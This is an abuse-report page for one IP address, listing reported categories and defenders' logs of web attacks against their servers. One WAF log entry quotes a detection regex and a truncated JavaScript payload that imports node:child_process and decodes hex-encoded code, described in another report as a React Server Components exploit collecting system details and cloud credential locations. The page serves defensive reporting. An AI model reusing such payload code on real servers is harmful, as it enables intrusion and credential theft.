This IP address has been reported a total of
15
times from
12 distinct
sources.
34.186.27.130 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
United States of America
with 5
reports;
Germany
with 4
reports;
Ukraine
with 2
reports.
The most common categories in these recent reports were:
Web App Attack
10
times;
Bad Web Bot
6
times;
Hacking
3
times;
Port Scan
2
times;
Web Spam
1
time;
Other
11
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Detected via HAProxyScanner at 2026-10-19 04:22:01 UTC on destination port WEB (80/443). Repeated sc ...
show moreDetected via HAProxyScanner at 2026-10-19 04:22:01 UTC on destination port WEB (80/443). Repeated scan / connection.
show less
Repeated exploit attempts, for example: / Failed to lock global mutex: Invalid argument (HTTP/1.1 po ...
show moreRepeated exploit attempts, for example: / Failed to lock global mutex: Invalid argument (HTTP/1.1 port 443, user agent: "Python/3.11 aiohttp/3.14.5")
show less
BAD BOT - Detected and Blocked.. Matched phrase "python" at REQUEST_HEADERS:User-Agent. (1100000-196 ...
show moreBAD BOT - Detected and Blocked.. Matched phrase "python" at REQUEST_HEADERS:User-Agent. (1100000-196)
show less
[SatOct1701:23:49.6734122026][security2:error][pid816077:tid816168][client34.186.27.130:0]ModSecurit ...
show more[SatOct1701:23:49.6734122026][security2:error][pid816077:tid816168][client34.186.27.130:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f6e7
show less
Exploit attempt targeting a remote-code-execution vulnerability, not just a general warning about ou ...
show moreExploit attempt targeting a remote-code-execution vulnerability, not just a general warning about outdated software. A specially crafted request that attempts to exploit a vulnerability in React Server Components. The request includes JavaScript designed to run on the target server. The payload contains hexadecimal-encoded JavaScript. Decoded, its apparent purpose is to collect system information, including:
- The server's operating system and username.
- CPU and memory resources.
- Network interface addresses.
- Writable directories.
- Environment variables that may reveal whether the server runs in a container or cloud environment.
- Possible locations of cloud credentials.
This is consistent with reconnaissance after a potential code-execution exploit. However, the presence of this code in a WAF log does not prove that it executed successfully. The underlying vulnerability is documented as critical by the React team.
show less
DNS Compromise
DNS Poisoning
DDoS Attack
FTP Brute-Force
Spoofing
Open Proxy
Web Spam
Email Spam
Port Scan
Ping of Death
Phishing
